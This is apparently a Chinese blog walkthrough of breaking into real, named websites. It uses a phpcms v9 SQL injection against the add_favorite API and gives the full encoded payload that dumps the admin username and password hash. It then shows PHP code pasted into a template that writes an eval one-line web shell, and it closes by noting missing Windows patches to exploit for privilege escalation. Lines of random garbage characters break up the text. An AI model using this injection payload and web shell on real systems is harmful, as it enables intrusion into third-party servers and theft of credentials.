利用phpcms v9 0day拿shell

admin

期末快到了，各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思，叫做黑客攻防，期末作业就是黑站，我笑了。。前几天在服务器上嗅探把服务器搞死了，管理员漏洞也补了，写这篇文章单凭记忆，图片较少，还请见谅。

Author：夜行人

From：F4ck Team

# f% e- _- l! z# A+ D

目标站：http://www.ipucom.com/

旁注到一个站点：www.zhongyitong.com有phpcmsv9注射漏洞

百度一下找到该漏洞的利用方法。

直接在该网站注册用户名，然后在该网站域名后加上这段代码就能爆出数据库名

api.php?op=add_favorite&url=xx.oo&title=%2527
                                             

7 J! Y7 U8 e4 s6 W                                
6 R, e% L; Q2 Z4 a7 p+ ]0 I; l; o
                                                           
  f  A* t9 R/ E6 l4 U
4 E* L' v+ [+ x2 u- e# t

( C, C6 B- K/ N% a
4 G! T. b: D& m! s+ b) O                                                         
2 X" ?) s* Y* }8 v) R: h; n: \                                                         
/ b1 s/ T( T0 x# p8 ~7 A

这里可以清楚的看到数据库名和表名，然后把该表名替换一下代码中的表名

api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%

2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select

%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C

password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from

%2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables

%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from

%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and

%2520%25271%2527%253D%25271

                                            
2 Z+ }2 X6 h4 q: [
3 E, B; a9 Q; r5 y+ c! l
  `; I' c1 Q- `( Y5 A8 v; `

帐号密码就出来了，md5解密一下就行了

进入后台, 界面 > 模板管理 > 模板风格 >
) m9 l6 \* i* k) R
/ o1 s! a: A9 h$ d% Q- H
% v+ v$ e1 J' k3 b                                                


0 b& V, M  L* K; p8 S. ?
! H1 {4 P5 z, Y* A" L+ H/ T

, g! a7 v3 m# `2 \$ p. C( |

点击后面的修改，然后把一下代码复制上去保存

<?

$fp = @fopen("c.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n");

@fclose($fp);

?>
8 d- ]0 ^% ^9 [& ?3 a5 c9 K# x5 N0 [
- K5 ]4 |1 ^- R8 R# z. _, S' P
) ^. M$ q5 W& Z5 `! E

                                                                        


( B1 S' f! a7 a/ O, n; e) X6 t
& n: v$ n% O6 o. H7 F' w

; H0 G  Z4 p! V7 N- j/ d0 Y# A

提交后可视化一下

在网站的根目录就生成了你的一句话木马客户端

http://www.zhongyitong.com/f4ck.php

然后通过控制端连上去就行了。。。

提权貌似很简单，看了下systeminfo

发现没有

KB2503665

KB2592799